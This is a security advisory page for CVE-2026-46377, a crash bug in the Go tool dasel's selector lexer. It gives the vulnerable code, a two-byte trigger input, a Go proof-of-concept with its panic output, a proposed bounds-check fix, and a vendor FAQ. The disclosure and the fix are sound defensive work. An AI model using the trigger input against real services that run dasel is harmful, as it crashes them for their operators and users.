CVE-2026-46377

dasel's selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., "\ or '\). A 2-byte input causes an immediate process crash via Go runtime panic.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the escape sequence handler within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L191-L194:

if p.src[pos] == '\\' {
    pos++
    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check
    pos++
    continue
}

When a backslash is the last character inside quotes, pos++ increments the position past the end of the input. The subsequent p.src[pos] attempts to read past the end of the slice, which Go turns into a runtime panic: runtime error: index out of range [2] with length 2.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the escape sequence path does not perform a similar bounds check.

Minimal trigger: "\ or '\ (2 bytes)

Test environment:

• MacBook Air (Apple M2), macOS / Darwin arm64
• Go 1.26.1
• dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"runtime/debug"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{`"\`, `'\`} {
		fmt.Printf("Input: %s\n", input)
		func() {
			defer func() {
				if r := recover(); r != nil {
					fmt.Printf("PANIC: %v\n", r)
					debug.PrintStack()
				}
			}()
			t := lexer.NewTokenizer(input)
			tokens, err := t.Tokenize()
			if err != nil {
				fmt.Printf("Error: %v\n", err)
			} else {
				fmt.Printf("OK: %d tokens\n", len(tokens))
			}
		}()
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: "\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

Input: '\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
    .../selector/lexer/tokenize.go:193 +0x1c2c
...

An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

• Web applications using dasel for dynamic data querying
• Applications that construct selectors from user input
• Shared tooling environments where selectors are passed as parameters

CVE-2026-46377 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add a bounds check after incrementing pos past the backslash, consistent with the existing UnexpectedEOFError handling for unterminated quoted strings:

if p.src[pos] == '\\' {
    pos++
    if pos >= p.srcLen {
        return Token{}, &UnexpectedEOFError{Pos: pos}
    }
    buf = append(buf, rune(p.src[pos]))
    pos++
    continue
}

1. What is CVE-2026-46377? CVE-2026-46377 is a high-severity security vulnerability in github.com/tomwright/dasel/v3 (go), affecting versions >= 3.0.0, <= 3.10.0. No fixed version is listed yet.
2. How severe is CVE-2026-46377? CVE-2026-46377 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/tomwright/dasel/v3 are affected by CVE-2026-46377? github.com/tomwright/dasel/v3 (go) versions >= 3.0.0, <= 3.10.0 is affected.
4. Is there a fix for CVE-2026-46377? No fixed version is listed for CVE-2026-46377 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-46377 exploitable, and should I be worried? Whether CVE-2026-46377 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46377 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.